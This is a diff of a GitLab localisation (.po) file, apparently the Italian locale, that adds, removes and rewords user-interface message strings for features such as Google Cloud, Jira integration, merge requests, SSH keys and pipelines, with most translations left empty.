+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Intervallo di Pattern"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "Gennaio"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Nuova richiesta di merge"
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Nuova pianficazione"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Nuovo snippet"
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr "Nessuna pianificazione"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Password"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr "Username non valido"
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr "Public - Chiunque può accedere a questo progetto senza alcuna autentica
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
